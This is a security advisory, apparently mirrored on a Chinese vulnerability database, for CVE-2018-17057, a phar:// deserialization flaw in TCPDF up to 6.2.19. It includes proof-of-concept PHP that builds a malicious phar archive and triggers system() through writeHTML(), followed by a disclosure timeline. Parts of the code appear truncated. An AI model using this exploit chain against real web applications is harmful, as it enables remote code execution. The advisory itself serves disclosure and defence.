TCPDF 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1313773 漏洞类型 代码问题
发布时间 2019-03-25 更新时间 2019-07-18
CVE编号 CVE-2018-17057 CNNVD-ID CNNVD-201809-735
漏洞平台 N/A CVSS评分 N/A
TCPDF是一个开源的用于生成PDF文档的PHP类。 TCPDF 6.2.22之前版本中存在安全漏洞。攻击者可利用该漏洞反序列化任意数据。
CVE-2018-17057: phar deserialization in TCPDF might lead to RCE

Affected products

TCPDF <= 6.2.19


"Started in 2002, TCPDF is now one of the world's most active Open Source
projects, used daily by millions of users and included in thousands of CMS
and Web applications." -

"PHP library for generating PDF documents on-the-fly." -


TCPDF allows the developers to insert HTML code inside the PDF, which will
be translated to a similar-looking design during PDF creation. For example
it is possible to insert basic HTML tags, such as "img" or "b" and have the
image and bold text placed in the output PDF.
The library allows also to include custom CSS rules by defining a "link"
tag, like the following:
<link type="text/css" href="style.css">

While it is a nice feature to have for the developer, it may cause problems
in case the PDF creation script is vulnerable to Cross-Site Scripting (or
"Code Injection") issues through which an attacker can inject arbitrary
HTML code. For example during an invoice creation, an attacker can use its
information written on the invoice to insert a malicious "link" tag
pointing to a local phar archive and trigger a PHP Object Injection through
the phar:// scheme once the web application reads that file.


In order to test this vulnerability it's enough to clone the project from
github and checkout a vulnerable version, such as 6.2.19:
git clone && cd TCPDF && git
checkout tags/6.2.19

After that it is possible to craft a phar archive containing a malicious
PHP Object and potentially trigger a RCE, here is a vulnerable code which
helps to reproduce the issue:
*    title:     PHP object injection via phar:// deserialization
*    author:    polict
*    target:    TCPDF ( <= 6.2.19
*    setup:     git clone && cd
TCPDF && git checkout tags/6.2.19

/* include vulnerable class (any PHP Object Injection gadget can be used,
see */
class Vulnerable {
    function __destruct() { system($this->hook); }

/* include the main TCPDF library */
/* create new PDF document */
'UTF-8', false);
/* set document information */
$pdf->SetTitle('Proof of concept');
/* start pdf */
/* create some HTML content */
$html = '<link type="text/css" href="phar://./poc.phar">';
/* insert the HTML content -- exploit will trigger here */
$pdf->writeHTML($html, true, false, true, false, '');
/* close and output PDF document */
$pdf->Output('poc.pdf', 'I');

In order to create the evil archive it's possible to use PHP:
$phar = new Phar('poc.phar');
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$malicious_object = new Vulnerable();
$malicious_object->hook = "whoami";
$phar->setMetadata($malicious_object); // <-- inject the trigger


The archive will be in 'poc.phar'.

Note: This vulnerability depends on the developer using writeHTML() with
user-supplied input.


This issue was discovered by polict (


17 august 2018:
—> report to developer

14 september 2018:
—> ping
<— released 6.2.20 (which re-introduced the vulnerability reported by Sam
Thomas, see's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
—> ping about re-introduction of old vulnerability
<— released 6.2.22 with fix for both
MITRE assigned CVE-2018-17057

17 march 2019:
public release